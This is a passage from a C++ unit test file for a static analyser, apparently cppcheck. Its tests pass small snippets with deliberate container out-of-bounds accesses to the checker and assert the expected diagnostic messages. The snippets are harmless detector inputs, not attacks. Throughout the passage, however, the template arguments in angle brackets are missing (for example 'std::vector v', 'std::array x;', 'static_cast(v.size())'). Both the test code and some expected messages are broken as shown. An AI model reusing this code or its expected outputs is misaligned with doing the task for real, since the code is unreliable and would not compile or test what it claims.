tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. 